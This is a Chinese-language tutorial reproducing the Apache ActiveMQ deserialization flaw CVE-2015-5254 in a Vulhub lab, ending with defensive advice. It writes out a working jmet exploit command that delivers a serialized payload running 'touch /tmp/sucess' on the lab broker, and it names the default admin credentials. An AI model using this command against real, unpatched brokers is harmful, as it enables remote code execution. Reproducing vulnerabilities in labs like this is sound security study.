Apache ActiveMQ是一款流行的开源消息中间件。其5.13.0之前的版本存在一个高危反序列化漏洞,编号为CVE-2015-5254。攻击者可以构造恶意的序列化Java消息服务(JMS)ObjectMessage对象并发送给ActiveMQ,从而在服务端执行任意代码,威胁极大。本文将通过Vulhub靶场,实战复现此漏洞,并深入分析其原理。
漏洞原理简述
简单来说,Apache ActiveMQ作为一个消息代理服务,其核心功能是接收、存储和转发消息。在5.13.0之前的版本中,ActiveMQ在接收客户端消息时,对可序列化的类没有进行严格的限制。
这相当于一个“快递服务”在帮用户“寄送包裹”时,不检查包裹里是否夹带了危险的“违禁品”(恶意构造的序列化对象)。当服务端尝试处理(反序列化)这个“包裹”时,其中夹带的“违禁品”就会被触发执行,导致任意命令执行。
环境搭建与准备
我们使用Vulhub项目快速搭建漏洞测试环境。Vulhub是一个基于Docker-Compose的预集成漏洞环境集合,极大方便了安全研究和漏洞复现,是学习和实践渗透测试的绝佳资源。
首先,确保你的系统已安装Docker和Docker-Compose。然后拉取Vulhub项目并启动ActiveMQ漏洞环境:
# 进入Vulhub的ActiveMQ漏洞目录
cd vulhub/activemq/CVE-2015-5254
# 启动环境
docker-compose up -d
环境启动后,ActiveMQ服务将运行在宿主机(例如Kali Linux)的61616(消息端口)和8161(Web管理端口)上。本示例中,假设宿主机IP为 10.10.10.128。
漏洞复现步骤
1. 访问管理界面
在浏览器中访问 http://10.10.10.128:8161,即可看到ActiveMQ的默认管理页面。
ActiveMQ
The Apache Software Foundation http://www.apache.org/
Home | Queues | Topics | Subscribers ...
点击“Manage ActiveMQ broker”进入管理后台,默认账号密码均为 admin。
2. 下载利用工具
我们需要一个能够生成恶意序列化消息的工具。这里使用 jmet。在攻击机(如Kali)上下载该工具:
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
如果下载速度慢,可以寻找其他镜像源。
3. 发送恶意载荷触发漏洞
执行以下命令,向目标ActiveMQ服务器(10.10.10.128:61616)的 event 队列发送一个恶意ObjectMessage。该消息被反序列化后,会执行命令 touch /tmp/sucess 来创建一个文件作为攻击成功的标志。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “touch /tmp/sucess” -Yp ROME 10.10.10.128 61616
此命令成功执行后,工具会模拟一个连接到ActiveMQ并将恶意对象放入队列。
此时,我们回到ActiveMQ的Web管理界面,点击 Queues 选项卡,可以发现多出了一个名为 event 的队列,并且其中有一条消息正在等待被消费。这证明了我们的恶意消息已成功注入到消息中间件中。

4. 验证命令执行
由于消息被放入队列后,需要被消费者(Consumer)取出时才会触发反序列化操作,因此我们需要在管理界面手动触发“消费”。点击 event 队列,进入详情页,你会看到有一条待处理的消息。
点击“Send To”按钮(或类似功能,目的是让消息被消费),即可触发漏洞。
最后,我们进入Docker容器内部,检查命令是否成功执行:
docker-compose exec activemq bash
root@6e15d61fab7...
进入容器后,查看 `/tmp` 目录:
ls -la /tmp/
如果看到 sucess 文件被成功创建,则证明漏洞复现成功,Java反序列化漏洞已导致远程代码执行。

总结与防护
本次复现利用了Apache ActiveMQ CVE-2015-5254漏洞,通过发送恶意的JMS消息实现了远程命令执行。这个案例典型地展示了中间件安全配置不当与不安全的反序列化操作结合所带来的巨大风险。
防护建议:
- 升级版本:立即将Apache ActiveMQ升级至5.13.0或更高版本。
- 网络隔离:将ActiveMQ服务部署在内网,严格限制对61616(消息端口)和8161(管理端口)的访问。
- 安全加固:修改默认密码,启用SSL/TLS加密通信,并遵循最小权限原则配置运维账户。
通过动手复现此类漏洞,安全研究人员和运维人员可以更深刻地理解其危害,从而更好地进行防御。